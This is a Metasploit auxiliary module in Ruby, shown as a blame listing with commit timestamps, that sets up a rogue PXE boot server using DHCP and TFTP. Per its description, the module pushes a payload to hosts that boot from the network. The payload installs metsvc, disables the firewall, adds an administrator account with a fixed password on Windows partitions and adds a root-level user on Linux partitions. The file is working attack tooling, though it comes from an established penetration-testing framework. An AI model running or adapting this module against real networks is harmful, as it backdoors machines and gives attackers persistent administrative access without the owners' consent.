2010-08-06 17:37:28 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex/proto/tftp'
|
|
|
|
require 'rex/proto/dhcp'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::TFTPServer
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
2011-08-13 16:51:49 +00:00
|
|
|
'Name' => 'PXE Boot Exploit Server',
|
2010-08-06 17:37:28 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => %q{
|
2011-08-13 16:51:49 +00:00
|
|
|
This module provides a PXE server, running a DHCP and TFTP server.
|
|
|
|
The default configuration loads a linux kernel and initrd into memory that
|
|
|
|
reads the hard drive; placing a payload to install metsvc, disable the
|
|
|
|
firewall, and add a new user metasploit on any Windows partition seen,
|
|
|
|
and add a uid 0 user with username and password metasploit to any linux
|
|
|
|
partition seen. The windows user will have the password p@SSw0rd!123456
|
|
|
|
(in case of complexity requirements) and will be added to the administrators
|
2011-05-07 02:46:30 +00:00
|
|
|
group.
|
2011-08-27 15:46:49 +00:00
|
|
|
|
|
|
|
Note: the displayed IP address of a target is the address this DHCP server
|
|
|
|
handed out, not the "normal" IP address the host uses.
|
2010-08-06 17:37:28 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'scriptjunkie' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
2010-09-20 08:05:50 +00:00
|
|
|
[ 'Service' ]
|
2010-08-06 17:37:28 +00:00
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
2010-09-20 08:05:50 +00:00
|
|
|
'Service'
|
2010-08-06 17:37:28 +00:00
|
|
|
],
|
2010-09-20 08:05:50 +00:00
|
|
|
'DefaultAction' => 'Service'
|
2010-08-06 17:37:28 +00:00
|
|
|
)
|
|
|
|
|
2011-07-14 02:32:28 +00:00
|
|
|
register_advanced_options(
|
2010-08-06 17:37:28 +00:00
|
|
|
[
|
2011-07-14 02:32:28 +00:00
|
|
|
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]),
|
|
|
|
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
|
|
|
|
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
|
|
|
|
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
|
|
|
|
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
|
2010-08-06 17:37:28 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
if not datastore['TFTPROOT']
|
|
|
|
datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
|
|
|
|
end
|
|
|
|
datastore['FILENAME'] = "update1"
|
|
|
|
datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!
|
|
|
|
|
|
|
|
print_status("Starting TFTP server...")
|
|
|
|
@tftp = Rex::Proto::TFTP::Server.new
|
|
|
|
@tftp.set_tftproot(datastore['TFTPROOT'])
|
|
|
|
@tftp.start
|
|
|
|
|
|
|
|
print_status("Starting DHCP server...")
|
|
|
|
@dhcp = Rex::Proto::DHCP::Server.new( datastore )
|
2011-08-25 22:48:33 +00:00
|
|
|
@dhcp.report do |mac, ip|
|
|
|
|
print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+
|
|
|
|
"(#{Rex::Socket.addr_ntoa(ip)})")
|
2011-08-25 22:56:22 +00:00
|
|
|
report_note(
|
|
|
|
:type => 'PXE.client',
|
|
|
|
:data => mac.unpack('H2H2H2H2H2H2').join(':')
|
|
|
|
)
|
2011-08-25 22:48:33 +00:00
|
|
|
end
|
2010-08-06 17:37:28 +00:00
|
|
|
@dhcp.start
|
|
|
|
|
|
|
|
# Wait for finish..
|
|
|
|
@tftp.thread.join
|
|
|
|
@dhcp.thread.join
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2011-08-13 16:51:49 +00:00
|
|
|
|